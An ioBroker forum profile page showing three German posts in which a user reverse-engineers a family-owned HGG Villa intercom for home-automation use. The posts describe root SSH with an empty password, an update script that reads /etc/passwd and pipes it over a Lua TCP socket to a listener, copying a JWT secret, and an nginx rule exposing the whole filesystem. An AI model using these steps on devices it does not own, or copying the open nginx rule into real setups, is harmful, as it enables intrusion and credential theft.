Navigation

    Logo
    • Register
    • Login
    • Search
    • Recent
    • Tags
    • Unread
    • Categories
    • Unreplied
    • Popular
    • GitHub
    • Docu
    • Hilfe
    1. Home
    2. Drombo

    NEWS

    • Wir empfehlen: Node.js 22.x

    • Neuer Blog: Fotos und Eindrücke aus Solingen

    • ioBroker goes Matter ... Matter Adapter in Stable

    D
    • Profile
    • Following 0
    • Followers 0
    • Topics 0
    • Posts 3
    • Best 0
    • Groups 1

    Drombo

    @Drombo

    Starter

    0
    Reputation
    9
    Profile views
    3
    Posts
    0
    Followers
    0
    Following
    Joined Last Online

    Drombo Follow
    Starter

    Latest posts made by Drombo

    • RE: Einbindung Sprechanlage HGG Villa

      Hey @spammd ,

      mega detaillierte Antwort, vielen Dank für die Mühe.

      Ich habe mich noch ein bisschen umgeschaut und es geschafft die Sprechanlage eine Verbindung zu einem mqtt broker von mir aufbauen zu lassen (EMQX bietet einen docker container und ein JWT Plugin an https://docs.emqx.com/en/cloud/latest/deployments/jwt_auth.html )

      Leider bleibt das topic stumm, ergibt aber Sinn, wenn es nur zum Empfangen der Signale vom Backend da ist.

      Unter /var/www/lua/jwt.lua befindet sich das Skript, das das mega geheime Secret key für den JWT Token erzeugt. Wenn man das rauskopiert und im eigenen Broker hinterlegt, dann wird die Verbindung akzeptiert.

      [mqtt_client_connect_callback mqtt-client.c:64]: mqtt connect ok
      

      Auf der Kiste läuft busybox und dropbear, entsprechend ist das "herumschauen" etwas schwierig, aber man kann den nginx umbiegen, damit die Sprechanlage freiwillige alle files im Browser verfügbar macht:

      Mit vi die /mnt/config/nginx/conf/www.http.conf um:

      ...
          }
          
          location /files/ {
              alias /;
              autoindex on;
          }
      ...
      

      erweitern ist zwar nicht sicher, hat mir aber das leben einfacher gemacht.

      Abgespeichert werden die Einstellungen in der /usr/share/avlink.db, aber die ist leider nicht wirklich sehr ergiebig.

      Vielleicht kommt man über die lua Skripte in /var/www/lua/ etwas weiter:

      /mnt/app/www/lua # ls -la
      total 66
      drwxr-xr-x    2 root     root             0 Nov  6  2020 .
      drwxr-xr-x    4 1000     1000             0 Nov  6  2020 ..
      -rw-r--r--    1 root     root          2086 Nov  6  2020 account.lua
      -rw-r--r--    1 root     root          2035 Nov  6  2020 address.lua
      -rw-r--r--    1 root     root          2664 Nov  6  2020 apk.lua
      -rw-r--r--    1 root     root           909 Nov  6  2020 application.lua
      -rw-r--r--    1 root     root          8279 Nov  6  2020 autoSync.lua
      -rw-r--r--    1 root     root          4318 Nov  6  2020 cloudDevice.lua
      -rw-r--r--    1 root     root           298 Nov  6  2020 common.lua
      -rw-r--r--    1 root     root           280 Nov  6  2020 commonSync.lua
      -rw-r--r--    1 root     root          2407 Nov  6  2020 device.lua
      -rw-r--r--    1 root     root           677 Nov  6  2020 elock.lua
      -rw-r--r--    1 root     root           988 Nov  6  2020 jwt.lua
      -rw-r--r--    1 root     root           574 Nov  6  2020 key.lua
      -rw-r--r--    1 root     root          2670 Nov  6  2020 login.lua
      -rw-r--r--    1 root     root           806 Nov  6  2020 mac.lua
      -rw-r--r--    1 root     root          5537 Nov  6  2020 network.lua
      -rw-r--r--    1 root     root          2017 Nov  6  2020 p2p.lua
      -rw-r--r--    1 root     root          2053 Nov  6  2020 parameter.lua
      -rw-r--r--    1 root     root          1745 Nov  6  2020 password.lua
      -rw-r--r--    1 root     root            89 Nov  6  2020 reboot.lua
      -rw-r--r--    1 root     root          2056 Nov  6  2020 relay.lua
      -rw-r--r--    1 root     root          2519 Nov  6  2020 sip.lua
      -rw-r--r--    1 root     root           878 Nov  6  2020 system.lua
      -rw-r--r--    1 root     root          1681 Nov  6  2020 test.lua
      -rw-r--r--    1 root     root          1685 Nov  6  2020 upload.lua
      -rw-r--r--    1 root     root          2067 Nov  6  2020 userKey.lua
      -rw-r--r--    1 root     root           896 Nov  6  2020 verify.lua
      -rw-r--r--    1 root     root          2346 Nov  6  2020 video.lua
      -rw-r--r--    1 root     root          2152 Nov  6  2020 wifi.lua
      -rw-r--r--    1 root     root          2519 Nov  6  2020 wifilist.lua
      
      posted in ioBroker Allgemein
      D
      Drombo
    • RE: Einbindung Sprechanlage HGG Villa

      Kurze Rückmeldung:
      Mittlerweile bin ich auf ein Projekt gestoßen, das Firmware für diese Art von Geräten herstellt: https://openipc.org/

      Unter anderem auch für den speziellen verbauten Prozessor: https://openipc.org/cameras/vendors/hisilicon/socs/hi3518ev200

      ~ # df -h
      Filesystem                Size      Used Available Use% Mounted on
      /dev/root                 7.9M      7.9M         0 100% /
      tmpfs                    20.2M      4.0K     20.2M   0% /dev
      /dev/mtdblock3            3.0M      2.1M    892.0K  71% /mnt/app
      /dev/mtdblock4            2.8M    516.0K      2.3M  18% /mnt/config
      ~ # cat /proc/cpuinfo 
      Processor	: ARM926EJ-S rev 5 (v5l)
      BogoMIPS	: 269.10
      Features	: swp half thumb fastmult edsp java 
      CPU implementer	: 0x41
      CPU architecture: 5TEJ
      CPU variant	: 0x0
      CPU part	: 0x926
      CPU revision	: 5
      
      Hardware	: hi3518ev200
      Revision	: 0000
      Serial		: 0000000000000000
      ~ # free -m
                   total         used         free       shared      buffers
      Mem:            40           34            6            0            3
      -/+ buffers:                 30            9
      Swap:            0            0            0
      

      Nun besitzt diese Sprechanlage doch einiger Funktinen mehr, als eine einfache IP Kamera, d.h. ob das der richtige Weg ist ist noch nicht klar.
      Vielleicht kann man auch die Kameras direkt "abhören"? Da weiß ich aber leider noch nicht was für ein Gerät sie unter /dev sind.

      ~ # ls /dev
      acodec              kmsg                ptmx                romblock3           tty21               tty45               ttyAMA2
      adec                logmpp              pts                 romblock4           tty22               tty46               ttyS000
      aenc                mem                 pwm                 romblock5           tty23               tty47               tw9900
      ai                  mmz_userdev         ram0                snapshot            tty24               tty48               ubi_ctrl
      ao                  mtd0                ram1                spidev0.0           tty25               tty49               uinput
      bus                 mtd0ro              ram10               spidev1.0           tty26               tty5                urandom
      button              mtd1                ram11               spidev1.1           tty27               tty50               usbdev1.1
      chnl                mtd1ro              ram12               stderr              tty28               tty51               usbdev1.2
      console             mtd2                ram13               stdin               tty29               tty52               usbdev2.1
      cpu_dma_latency     mtd2ro              ram14               stdout              tty3                tty53               vb
      cuse                mtd3                ram15               sys                 tty30               tty54               vcs
      fd                  mtd3ro              ram2                tty                 tty31               tty55               vcs1
      full                mtd4                ram3                tty0                tty32               tty56               vcsa
      fuse                mtd4ro              ram4                tty1                tty33               tty57               vcsa1
      gpioi2c             mtd5                ram5                tty10               tty34               tty58               venc
      h264e               mtd5ro              ram6                tty11               tty35               tty59               vgs
      hi3516cv200         mtdblock0           ram7                tty12               tty36               tty6                vi
      hi_mipi             mtdblock1           ram8                tty13               tty37               tty60               vpss
      hi_tde              mtdblock2           ram9                tty14               tty38               tty61               watchdog
      i2c-0               mtdblock3           random              tty15               tty39               tty62               zero
      i2c-1               mtdblock4           rc                  tty16               tty4                tty63
      i2c-2               mtdblock5           reg_cmd             tty17               tty40               tty7
      input               network_latency     rgn                 tty18               tty41               tty8
      isp_dev             network_throughput  romblock0           tty19               tty42               tty9
      ive                 null                romblock1           tty2                tty43               ttyAMA0
      jpege               psaux               romblock2           tty20               tty44               ttyAMA1
      
      
      posted in ioBroker Allgemein
      D
      Drombo
    • RE: Einbindung Sprechanlage HGG Villa

      @flowo27 , @spammd
      meine Eltern haben sich die gleiche Sprechanlage gekauft und ich habe etwas damit herumgespielt.
      Root Zugriff mittels SSH ist einfach machbar, das Passwort ist leer, also einfach enter drücken. Die Zertifikate Methode dürfte aber abgelaufen sein, deswegen braucht ssh noch einen Parameter um sie zu akzeptieren:

      ssh -oHostKeyAlgorithms=+ssh-dss root@address
      

      Alternativ kann man auch ein eigenes update skript bauen, dazu am besten einen der tarballs öffnen, die daten entfernen und update.sh anpassen. Es läuft busybox auf der Kiste, entsprechend sind die unterstützten Kommandos eingeschränkt. Am besten haben bei mir Kommandos in Kombination mit einem Lua Skript funktioniert:

      #!/bin/sh
      
      #cat /etc/init.d/rc &> output.txt
      #echo -e "12345678ABC\n12345678ABC" | passwd root &> output.txt
      #ls -laR /etc &> output.txt
      #ls -laR /mnt/app >> output.txt
      #ls -laR /usr/sbin >> output.txt
      #cat /mnt/app/init.d/dropbear >> output.txt
      #cat /proc/mounts >> output.txt
      
      #touch /mnt/app/testfile &> output.txt
      #ls -laR /mnt/app >> output.txt
      #ln -s /mnt/app/testfile /root/testfile &> output.txt
      cat /etc/passwd &> output.txt
      
      lua -e "require('socket');require('io');t=socket.tcp();t:connect('192.168.178.1','9001');h=io.popen('cat ./output.txt');c=h:read('*all');t:send(c)"
      t:send(c);"
      

      Mit netcat auf der Empfangsseite bekommt man dann die ausgelesenen Wert.

      Weitere Info dazu hier: https://www.reddit.com/r/hacking/comments/11l9pok/gaining_ssh_access_to_chinese_doorbell_via_shell/

      Wenn das hier jemandem weiterhilft um die Sprechanlage einzubinden, dann würde mich das natürlich sehr freuen davon zu erfahren.

      posted in ioBroker Allgemein
      D
      Drombo
    Community
    Impressum | Datenschutz-Bestimmungen | Nutzungsbedingungen
    The ioBroker Community 2014-2023
    logo